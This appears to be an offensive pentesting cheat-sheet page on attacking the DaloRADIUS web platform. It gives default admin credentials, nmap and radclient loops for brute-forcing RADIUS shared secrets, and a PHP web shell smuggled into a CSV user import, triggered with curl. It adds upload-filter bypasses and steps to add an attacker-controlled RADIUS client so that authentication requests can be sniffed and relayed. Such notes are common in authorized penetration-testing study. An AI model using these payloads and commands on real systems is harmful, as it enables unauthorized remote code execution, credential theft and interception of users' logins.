DaloRADIUS

RADIUS web platform aimed at managing Hotspots and general-purpose ISP deployments

Remote Authentication Dial-In User Service (RADIUS) is a networking protocol that provides centralized authentication, authorization, and accounting (AAA) management for users who connect and use a network service.

  • Port: UDP/1812 (authentication), UDP/1813 (accounting)

  • Default Credentials: Often uses a shared secret between the client and server.

Enumeration

Login Pages → app/users/login.php and /app/operators/login.php

Default credentials → administrator:radius

Brute-forcing RADIUS shared secret

Nmap radius-brute script

Uses Nmap’s Built-in Wordlist
nmap -sU -p 1812 --script radius-brute <target>
Custom Brute-Force
nmap -sU -p 1812 --script radius-brute --script-args radius-brute.creds=secrets.txt <TARGET_IP>

radclient

Brute-Force Loop
for secret in $(cat secrets.txt); do echo "User-Name=test" | radclient -x <TARGET_IP> auth "$secret" 2>&1 | grep -q "Received Access-Accept" && echo "[+] Valid Secret Found: $secret" && break; done
Tests one specific RADIUS shared secret manually
echo "User-Name=test" | radclient -x <IP> auth <shared_secret>
RCE via File Upload

  1. Log in to the admin panel.

  2. Navigate to: Config → Import Users

  3. Craft a Malicious CSV:

username,password
<?php system($_GET['cmd']); ?>,p4ss

  1. Upload the File:

If successful, the file might be saved to:
http://<target>/daloradius/library/shell.php.csv

  1. Trigger RCE:

If the server executes PHP in the upload directory:
curl "http://<target>/daloradius/library/shell.php.csv?cmd=id"

If PHP Doesn’t Execute

  • Try double extensions → shell.php%00.csv

  • Try to use .htaccess bypass if is running in Apache.

  • Check for local file inclusion vulnerabilities to include the uploaded file.

Modify RADIUS clients to intercept authentication requests

  1. Navigate to Management → RADIUS Clients → Add Client

  1. Enter attacker-controlled server as a client:

Client IP/Hostname: <YOUR_ATTACKER_IP>
Secret: hacking123  # Shared secret for interception

  1. On your attacker machine run:

# Use radsniff (from FreeRADIUS) to capture requests
radsniff -i eth0 -s hacking123 udp port 1812

  1. Relay or Modify Requests (MitM)

echo "User-Name=victim" | radclient -x <REAL_RADIUS_IP> auth hacking123
PreviousBackDrop CMSNextGitea

Last updated